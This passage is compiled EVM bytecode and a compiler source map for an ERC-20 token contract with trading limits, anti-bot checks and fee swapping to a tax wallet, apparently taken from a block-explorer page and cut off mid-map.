b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610702573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107269190611920565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610785573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a99190611920565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108179190611920565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146108625760405162461bcd60e51b815260040161047b906118a1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108d35760405162461bcd60e51b815260040161047b906118a1565b5f19600e819055600f8190556005805460ff191690556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146109475760405162461bcd60e51b815260040161047b906118a1565b61095047610fa3565b565b5f6103c1338484610a82565b6001600160a01b0383166109c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610a215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ae65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610b485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b5f8111610ba95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b601354600160b01b900460ff161580610bcb5750601354600160a81b900460ff165b15610be057610bdb838383610fe2565b505050565b5f546001600160a01b03848116911614801590610c0a57505f546001600160a01b03838116911614155b15610f605760055460ff1615610cc6576012546001600160a01b03838116911614801590610c4657506013546001600160a01b03838116911614155b15610cc657325f908152600460205260409020544311610cb45760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161047b565b325f9081526004602052604090204390555b6013546001600160a01b038481169116148015610cf157506012546001600160a01b03838116911614155b8015610d1557506001600160a01b0382165f9081526003602052604090205460ff16155b15610e0e57600e54811115610d685760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047b565b600f5481610d8a846001600160a01b03165f9081526001602052604090205490565b610d94919061193b565b1115610de25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047b565b600c54600d541015610df957813b15610df9575f80fd5b600d8054905f610e088361194e565b91905055505b6013546001600160a01b038381169116148015610e3457506001600160a01b0383163014155b15610e8757600e54811115610e875760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161047b565b305f90815260016020526040902054601354600160a81b900460ff16158015610ebd57506013546001600160a01b038481169116145b8015610ed25750601354600160b01b900460ff165b8015610ee15750600c54600d54115b8015610f0557506001600160a01b0384165f9081526003602052604090205460ff16155b8015610f2957506001600160a01b0383165f9081526003602052604090205460ff16155b15610f5e57601054811115610f5557610f55610f5083610f4b84601154611085565b611085565b61109c565b610f5e47610fa3565b505b610bdb838383611225565b5f8184841115610f8e5760405162461bcd60e51b815260040161047b919061166b565b505f610f9a8486611966565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610fde573d5f803e3d5ffd5b5050565b6001600160a01b0383165f9081526001602052604090205461100490826114aa565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461103290826114eb565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a759085815260200190565b5f8183116110935782611095565b815b9392505050565b6013805460ff60a81b1916600160a81b179055801561121557601354600160a01b900460ff1615611215576040805160028082526060820183525f9260208301908036833701905050905030815f815181106110fa576110fa611979565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611151573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111759190611920565b8160018151811061118857611188611979565b6001600160a01b0392831660209182029290920101526012546111ae913091168461095e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e69085905f9086903090429060040161198d565b5f604051808303815f87803b1580156111fd575f80fd5b505af115801561120f573d5f803e3d5ffd5b50505050505b506013805460ff60a81b19169055565b61122d61162f565b6001600160a01b0380851682528381166020830152600554610100900416604082015261125861164d565b5f8082526112739061126b90859061193b565b8251906114eb565b6020820152600a54600d545f916112a9916064916112a391116112985760065461129c565b6008545b8790611549565b906115c7565b604084015184519192506001600160a01b0390811691160361131857602080830151848201516001600160a01b03165f90815260019092526040909120546112f0916114eb565b6020938401516001600160a01b03165f90815260019094526040909320929092555050505050565b6013546001600160a01b03868116911614801561133e57506001600160a01b0386163014155b1561136b5761136860646112a3600b54600d541161135e5760075461129c565b6009548790611549565b90505b80156113e357305f9081526001602052604090205461138a90826114eb565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113da9085815260200190565b60405180910390a35b6001600160a01b0386165f9081526001602052604090205461140590856114aa565b6001600160a01b0387165f9081526001602052604090205561144861142a85836114aa565b6001600160a01b0387165f90815260016020526040902054906114eb565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61149187856114aa565b60405190815260200160405180910390a3505050505050565b5f61109583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6b565b5f806114f7838561193b565b9050838110156110955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b5f825f0361155857505f6103c5565b5f611563838561188a565b90508261157085836119fe565b146110955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b5f61109583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836116235760405162461bcd60e51b815260040161047b919061166b565b505f610f9a84866119fe565b60405180606001604052806003906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b5f602080835283518060208501525f5b818110156116975785810183015185820160400152820161167b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116cb575f80fd5b50565b5f80604083850312156116df575f80fd5b82356116ea816116b7565b946020939093013593505050565b5f805f6060848603121561170a575f80fd5b8335611715816116b7565b92506020840135611725816116b7565b929592945050506040919091013590565b5f60208284031215611746575f80fd5b8135611095816116b7565b5f8060408385031215611762575f80fd5b823561176d816116b7565b9150602083013561177d816116b7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d657815f19048211156117bc576117bc611788565b808516156117c957918102915b93841c93908002906117a1565b509250929050565b5f826117ec575060016103c5565b816117f857505f6103c5565b816001811461180e576002811461181857611834565b60019150506103c5565b60ff84111561182957611829611788565b50506001821b6103c5565b5060208310610133831016604e8410600b8410161715611857575081810a6103c5565b611861838361179c565b805f190482111561187457611874611788565b029392505050565b5f61109560ff8416836117de565b80820281158282048414176103c5576103c5611788565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156118e8575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611911575f80fd5b81518015158114611095575f80fd5b5f60208284031215611930575f80fd5b8151611095816116b7565b808201808211156103c5576103c5611788565b5f6001820161195f5761195f611788565b5060010190565b818103818111156103c5576103c5611788565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119dd5784516001600160a01b0316835293830193918301916001016119b8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204786164c03ba64f7fd89bf60eee394cff875bbb0f8767c1d85496b105aad879464736f6c63430008180033
Deployed Bytecode Sourcemap
3836:10042:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6159:83;;;;;;;;;;-1:-1:-1;6229:5:0;;;;;;;;;;;;-1:-1:-1;;;6229:5:0;;;;6159:83;;;;;;;:::i;:::-;;;;;;;;7040:186;;;;;;;;;;-1:-1:-1;7040:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7040:186:0;1023:187:1;5010:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5010:55:0;1215:177:1;6436:95:0;;;;;;;;;;;;;:::i;7234:446::-;;;;;;;;;;-1:-1:-1;7234:446:0;;;;;:::i;:::-;;:::i;11994:484::-;;;;;;;;;;;;;:::i;:::-;;5759:392;;;;;;;;;;;;;:::i;6345:83::-;;;;;;;;;;-1:-1:-1;6345:83:0;;4628:1;2000:36:1;;1988:2;1973:18;6345:83:0;1858:184:1;6539:117:0;;;;;;;;;;-1:-1:-1;6539:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6632:16:0;6605:7;6632:16;;;:7;:16;;;;;;;6539:117;3681:148;;;;;;;;;;;;;:::i;12486:213::-;;;;;;;;;;;;;:::i;4819:56::-;;;;;;;;;;;;;;;;3467:79;;;;;;;;;;-1:-1:-1;3505:7:0;3532:6;3467:79;;-1:-1:-1;;;;;3532:6:0;;;2445:51:1;;2433:2;2418:18;3467:79:0;2299:203:1;4882:58:0;;;;;;;;;;;;;;;;6250:87;;;;;;;;;;-1:-1:-1;6322:7:0;;;;;;;;;;;;-1:-1:-1;;;6322:7:0;;;;6250:87;;13122:96;;;;;;;;;;;;;:::i;6664:192::-;;;;;;;;;;-1:-1:-1;6664:192:0;;;;;:::i;:::-;;:::i;4947:56::-;;;;;;;;;;;;;;;;4171:40;;;;;;;;;;-1:-1:-1;4171:40:0;;;;;;;;6864:168;;;;;;;;;;-1:-1:-1;6864:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6997:18:0;;;6970:7;6997:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6864:168;7040:186;7140:4;7157:39;280:10;7180:7;7189:6;7157:8;:39::i;:::-;-1:-1:-1;7214:4:0;7040:186;;;;;:::o;6436:95::-;6489:7;4684:15;4628:1;4684:2;:15;:::i;:::-;4671:28;;:10;:28;:::i;:::-;6509:14;;6436:95;:::o;7234:446::-;7366:4;7383:36;7393:6;7401:9;7412:6;7383:9;:36::i;:::-;7430:220;7453:6;280:10;7501:138;7557:6;7501:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7501:19:0;;;;;;:11;:19;;;;;;;;280:10;7501:33;;;;;;;;;;:37;:138::i;:::-;7430:8;:220::i;:::-;-1:-1:-1;7668:4:0;7234:446;;;;;:::o;11994:484::-;3594:6;;-1:-1:-1;;;;;3594:6:0;280:10;3594:22;3586:67;;;;-1:-1:-1;;;3586:67:0;;;;;;;:::i;:::-;;;;;;;;;12057:11:::1;::::0;-1:-1:-1;;;12057:11:0;::::1;;;12056:12;12048:48;;;::::0;-1:-1:-1;;;12048:48:0;;5145:2:1;12048:48:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12048:48:0::1;4943:347:1::0;12048:48:0::1;12107:15;::::0;-1:-1:-1;;;;;12107:15:0::1;:31;12146:21;12191:4;12211:24;12191:4:::0;-1:-1:-1;;;;;6632:16:0;6605:7;6632:16;;;:7;:16;;;;;;;6539:117;12211:24:::1;12250:1;12266::::0;12282:7:::1;3505::::0;3532:6;-1:-1:-1;;;;;3532:6:0;;3467:79;12282:7:::1;12107:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12107:223:0;;;-1:-1:-1;;;;;5654:15:1;;;12107:223:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;12304:15:0::1;5868:19:1::0;;;5861:35;5570:19;;12107:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12348:13:0::1;::::0;12379:15:::1;::::0;12341:71:::1;::::0;-1:-1:-1;;;12341:71:0;;-1:-1:-1;;;;;12379:15:0;;::::1;12341:71;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;12348:13:0;::::1;::::0;-1:-1:-1;12341:29:0::1;::::0;6365:18:1;;12341:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12423:11:0::1;:18:::0;;-1:-1:-1;;;;12452:18:0;-1:-1:-1;;;12452:18:0;;;11994:484::o;5759:392::-;3594:6;;-1:-1:-1;;;;;3594:6:0;280:10;3594:22;3586:67;;;;-1:-1:-1;;;3586:67:0;;;;;;;:::i;:::-;5812:15:::1;:104:::0;;-1:-1:-1;;;;;;5812:104:0::1;5863:42;5812:104:::0;;::::1;::::0;;;5927:58:::1;::::0;5944:4:::1;::::0;4684:15:::1;4628:1;4684:2;:15;:::i;:::-;4671:28;::::0;:10:::1;:28;:::i;5927:58::-;6030:15;;;;;;;;;-1:-1:-1::0;;;;;6030:15:0::1;-1:-1:-1::0;;;;;6030:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6012:55:0::1;;6090:4;6110:15;;;;;;;;;-1:-1:-1::0;;;;;6110:15:0::1;-1:-1:-1::0;;;;;6110:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6012:131;::::0;-1:-1:-1;;;;;;6012:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7265:15:1;;;6012:131:0::1;::::0;::::1;7247:34:1::0;7317:15;;7297:18;;;7290:43;7182:18;;6012:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5996:13;:147:::0;;-1:-1:-1;;;;;;5996:147:0::1;-1:-1:-1::0;;;;;5996:147:0;;;::::1;::::0;;;::::1;::::0;;5759:392::o;3681:148::-;3594:6;;-1:-1:-1;;;;;3594:6:0;280:10;3594:22;3586:67;;;;-1:-1:-1;;;3586:67:0;;;;;;;:::i;:::-;3788:1:::1;3772:6:::0;;3751:40:::1;::::0;-1:-1:-1;;;;;3772:6:0;;::::1;::::0;3751:40:::1;::::0;3788:1;;3751:40:::1;3819:1;3802:19:::0;;-1:-1:-1;;;;;;3802:19:0::1;::::0;;3681:148::o;12486:213::-;3594:6;;-1:-1:-1;;;;;3594:6:0;280:10;3594:22;3586:67;;;;-1:-1:-1;;;3586:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12540:12:0::1;:26:::0;;;12577:14:::1;:28:::0;;;12616:20:::1;:28:::0;;-1:-1:-1;;12616:28:0::1;::::0;;12660:31:::1;::::0;1361:25:1;;;12660:31:0::1;::::0;1349:2:1;1334:18;12660:31:0::1;;;;;;;12486:213::o:0;13122:96::-;3594:6;;-1:-1:-1;;;;;3594:6:0;280:10;3594:22;3586:67;;;;-1:-1:-1;;;3586:67:0;;;;;;;:::i;:::-;13175:35:::1;13188:21;13175:12;:35::i;:::-;13122:96::o:0;6664:192::-;6767:4;6784:42;280:10;6808:9;6819:6;6784:9;:42::i;7688:335::-;-1:-1:-1;;;;;7781:19:0;;7773:68;;;;-1:-1:-1;;;7773:68:0;;7546:2:1;7773:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7773:68:0;7344:400:1;7773:68:0;-1:-1:-1;;;;;7860:21:0;;7852:68;;;;-1:-1:-1;;;7852:68:0;;7951:2:1;7852:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7852:68:0;7749:398:1;7852:68:0;-1:-1:-1;;;;;7931:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7983:32;;1361:25:1;;;7983:32:0;;1334:18:1;7983:32:0;;;;;;;;7688:335;;;:::o;9541:2445::-;-1:-1:-1;;;;;9634:18:0;;9626:68;;;;-1:-1:-1;;;9626:68:0;;8354:2:1;9626:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;9626:68:0;8152:401:1;9626:68:0;-1:-1:-1;;;;;9713:16:0;;9705:64;;;;-1:-1:-1;;;9705:64:0;;8760:2:1;9705:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;9705:64:0;8558:399:1;9705:64:0;9802:1;9788:11;:15;9780:69;;;;-1:-1:-1;;;9780:69:0;;9164:2:1;9780:69:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;9780:69:0;8962:405:1;9780:69:0;9867:11;;-1:-1:-1;;;9867:11:0;;;;9866:12;;:22;;-1:-1:-1;9882:6:0;;-1:-1:-1;;;9882:6:0;;;;9866:22;9862:113;;;9905:37;9920:4;9926:2;9930:11;9905:14;:37::i;:::-;9541:2445;;;:::o;9862:113::-;3505:7;3532:6;-1:-1:-1;;;;;9991:15:0;;;3532:6;;9991:15;;;;:32;;-1:-1:-1;3505:7:0;3532:6;-1:-1:-1;;;;;10010:13:0;;;3532:6;;10010:13;;9991:32;9987:1942;;;10044:20;;;;10040:485;;;10125:15;;-1:-1:-1;;;;;10111:30:0;;;10125:15;;10111:30;;;;:83;;-1:-1:-1;10180:13:0;;-1:-1:-1;;;;;10166:28:0;;;10180:13;;10166:28;;10111:83;10085:425;;;10300:9;10271:39;;;;:28;:39;;;;;;10313:12;-1:-1:-1;10237:176:0;;;;-1:-1:-1;;;10237:176:0;;9574:2:1;10237:176:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:34;9632:18;;;9625:62;-1:-1:-1;;;9703:18:1;;;9696:34;9747:19;;10237:176:0;9372:400:1;10237:176:0;10465:9;10436:39;;;;:28;:39;;;;;10478:12;10436:54;;10085:425;10571:13;;-1:-1:-1;;;;;10563:21:0;;;10571:13;;10563:21;:72;;;;-1:-1:-1;10619:15:0;;-1:-1:-1;;;;;10605:30:0;;;10619:15;;10605:30;;10563:72;:116;;;;-1:-1:-1;;;;;;10657:22:0;;;;;;:18;:22;;;;;;;;10656:23;10563:116;10541:569;;;10737:12;;10722:11;:27;;10714:65;;;;-1:-1:-1;;;10714:65:0;;9979:2:1;10714:65:0;;;9961:21:1;10018:2;9998:18;;;9991:30;-1:-1:-1;;;10037:18:1;;;10030:55;10102:18;;10714:65:0;9777:349:1;10714:65:0;10859:14;;10844:11;10828:13;10838:2;-1:-1:-1;;;;;6632:16:0;6605:7;6632:16;;;:7;:16;;;;;;;6539:117;10828:13;:27;;;;:::i;:::-;:45;;10798:145;;;;-1:-1:-1;;;10798:145:0;;10463:2:1;10798:145:0;;;10445:21:1;10502:2;10482:18;;;10475:30;10541:28;10521:18;;;10514:56;10587:18;;10798:145:0;10261:350:1;10798:145:0;10978:18;;10966:9;;:30;10962:103;;;12935:20;;12983:8;11021:24;;;;;;11083:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10541:569;11136:13;;-1:-1:-1;;;;;11130:19:0;;;11136:13;;11130:19;:44;;;;-1:-1:-1;;;;;;11153:21:0;;11169:4;11153:21;;11130:44;11126:150;;;11218:12;;11203:11;:27;;11195:65;;;;-1:-1:-1;;;11195:65:0;;9979:2:1;11195:65:0;;;9961:21:1;10018:2;9998:18;;;9991:30;-1:-1:-1;;;10037:18:1;;;10030:55;10102:18;;11195:65:0;9777:349:1;11195:65:0;11341:4;11292:28;6632:16;;;:7;:16;;;;;;11385:6;;-1:-1:-1;;;11385:6:0;;;;11384:7;:47;;;;-1:-1:-1;11418:13:0;;-1:-1:-1;;;;;11412:19:0;;;11418:13;;11412:19;11384:47;:79;;;;-1:-1:-1;11452:11:0;;-1:-1:-1;;;11452:11:0;;;;11384:79;:130;;;;;11496:18;;11484:9;;:30;11384:130;:176;;;;-1:-1:-1;;;;;;11536:24:0;;;;;;:18;:24;;;;;;;;11535:25;11384:176;:220;;;;-1:-1:-1;;;;;;11582:22:0;;;;;;:18;:22;;;;;;;;11581:23;11384:220;11362:556;;;11665:17;;11642:20;:40;11639:210;;;11707:122;11750:56;11754:11;11767:38;11771:20;11793:11;;11767:3;:38::i;:::-;11750:3;:56::i;:::-;11707:16;:122::i;:::-;11867:35;11880:21;11867:12;:35::i;:::-;10025:1904;9987:1942;11941:37;11956:4;11962:2;11966:11;11941:14;:37::i;1455:224::-;1575:7;1611:12;1603:6;;;;1595:29;;;;-1:-1:-1;;;1595:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1635:9:0;1647:5;1651:1;1647;:5;:::i;:::-;1635:17;1455:224;-1:-1:-1;;;;;1455:224:0:o;12707:89::-;12764:7;;:24;;:7;;;;-1:-1:-1;;;;;12764:7:0;;:24;;;;;;;;;;;;:7;:24;;;;;;;;;;;;;;;;;;;;;12707:89;:::o;9288:245::-;-1:-1:-1;;;;;9395:13:0;;;;;;:7;:13;;;;;;:30;;9413:11;9395:17;:30::i;:::-;-1:-1:-1;;;;;9379:13:0;;;;;;;:7;:13;;;;;;:46;;;;9450:11;;;;;;;:28;;9466:11;9450:15;:28::i;:::-;-1:-1:-1;;;;;9436:11:0;;;;;;;:7;:11;;;;;;;:42;;;;9494:31;;;;;;;;;;9513:11;1361:25:1;;1349:2;1334:18;;1215:177;13007:107:0;13064:7;13096:1;13092;:5;13091:15;;13105:1;13091:15;;;13101:1;13091:15;13084:22;13007:107;-1:-1:-1;;;13007:107:0:o;13263:609::-;5349:6;:13;;-1:-1:-1;;;;5349:13:0;-1:-1:-1;;;5349:13:0;;;13341:55;;13378:7:::1;13341:55;13411:11;::::0;-1:-1:-1;;;13411:11:0;::::1;;;13406:51:::0;13439:7:::1;13406:51;13491:16;::::0;;13505:1:::1;13491:16:::0;;;;;::::1;::::0;;13467:21:::1;::::0;13491:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13491:16:0::1;13467:40;;13536:4;13518;13523:1;13518:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13518:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13562:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13562:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13518:7;;13562:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13552:4;13557:1;13552:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13552:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13627:15:::1;::::0;13595:62:::1;::::0;13612:4:::1;::::0;13627:15:::1;13645:11:::0;13595:8:::1;:62::i;:::-;13668:15;::::0;:196:::1;::::0;-1:-1:-1;;;13668:196:0;;-1:-1:-1;;;;;13668:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13749:11;;13668:15:::1;::::0;13791:4;;13818::::1;::::0;13838:15:::1;::::0;13668:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13330:542;5373:1;-1:-1:-1::0;5385:6:0;:14;;-1:-1:-1;;;;5385:14:0;;;13263:609::o;8031:1249::-;8159:23;;:::i;:::-;-1:-1:-1;;;;;8193:17:0;;;;;8221:18;;;8193:8;8221;;:18;8261:7;;;;;;8250:8;;;:18;8279:23;;:::i;:::-;8324:1;8313:12;;;8347:30;;8360:16;;8369:7;;8360:16;:::i;:::-;8347:8;;;:12;:30::i;:::-;8336:8;;;:41;8439:15;;8427:9;;8388:13;;8404:103;;8503:3;;8404:84;;8427:27;8426:61;;8473:14;;8426:61;;;8458:12;;8426:61;8404:7;;:21;:84::i;:::-;:98;;:103::i;:::-;8531:8;;;;8521;;8388:119;;-1:-1:-1;;;;;;8521:18:0;;;;;;8518:83;;8582:8;;;;;8568;;;;-1:-1:-1;;;;;8560:17:0;;;;;8588:1;8560:17;;;;;;;;:31;;:21;:31::i;:::-;8550:8;;;;;-1:-1:-1;;;;;8542:17:0;;;;;:7;:17;;;;;;;:49;;;;-1:-1:-1;;;;;8031:1249:0:o;8518:83::-;8626:13;;-1:-1:-1;;;;;8615:24:0;;;8626:13;;8615:24;:51;;;;-1:-1:-1;;;;;;8643:23:0;;8661:4;8643:23;;8615:51;8611:304;;;8691:212;8899:3;8691:185;8756:16;;8744:9;;:28;8743:114;;8842:15;;8743:114;;;8801:13;;8691:7;;:29;:185::i;:212::-;8683:220;;8611:304;8929:9;;8925:158;;8996:4;8980:22;;;;:7;:22;;;;;;:33;;9007:5;8980:26;:33::i;:::-;8971:4;8955:22;;;;:7;:22;;;;;;;:58;;;;9033:38;;-1:-1:-1;;;;;9033:38:0;;;;;;;9065:5;1361:25:1;;1349:2;1334:18;;1215:177;9033:38:0;;;;;;;;8925:158;-1:-1:-1;;;;;9111:15:0;;;;;;:7;:15;;;;;;:28;;9131:7;9111:19;:28::i;:::-;-1:-1:-1;;;;;9093:15:0;;;;;;:7;:15;;;;;:46;9169:42;9191:18;:7;9203:5;9191:11;:18::i;:::-;-1:-1:-1;;;;;9169:16:0;;;;;;:7;:16;;;;;;;:20;:42::i;:::-;-1:-1:-1;;;;;9150:16:0;;;;;;;:7;:16;;;;;:61;;;;9227:45;;;9253:18;:7;9265:5;9253:11;:18::i;:::-;9227:45;;1361:25:1;;;1349:2;1334:18;9227:45:0;;;;;;;8148:1132;;;8031:1249;;;:::o;1311:136::-;1369:7;1396:43;1400:1;1403;1396:43;;;;;;;;;;;;;;;;;:3;:43::i;1124:179::-;1182:7;;1214:5;1218:1;1214;:5;:::i;:::-;1202:17;;1243:1;1238;:6;;1230:46;;;;-1:-1:-1;;;1230:46:0;;12340:2:1;1230:46:0;;;12322:21:1;12379:2;12359:18;;;12352:30;12418:29;12398:18;;;12391:57;12465:18;;1230:46:0;12138:351:1;1687:246:0;1745:7;1769:1;1774;1769:6;1765:47;;-1:-1:-1;1799:1:0;1792:8;;1765:47;1822:9;1834:5;1838:1;1834;:5;:::i;:::-;1822:17;-1:-1:-1;1867:1:0;1858:5;1862:1;1822:17;1858:5;:::i;:::-;:10;1850:56;;;;-1:-1:-1;;;1850:56:0;;12918:2:1;1850:56:0;;;12900:21:1;12957:2;12937:18;;;12930:30;12996:34;12976:18;;;12969:62;-1:-1:-1;;;13047:18:1;;;13040:31;13088:19;;1850:56:0;12716:397:1;1941:132:0;1999:7;2026:39;2030:1;2033;2026:39;;;;;;;;;;;;;;;;;2201:7;2236:12;2229:5;2221:28;;;;-1:-1:-1;;;2221:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2260:9:0;2272:5;2276:1;2272;:5;:::i;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;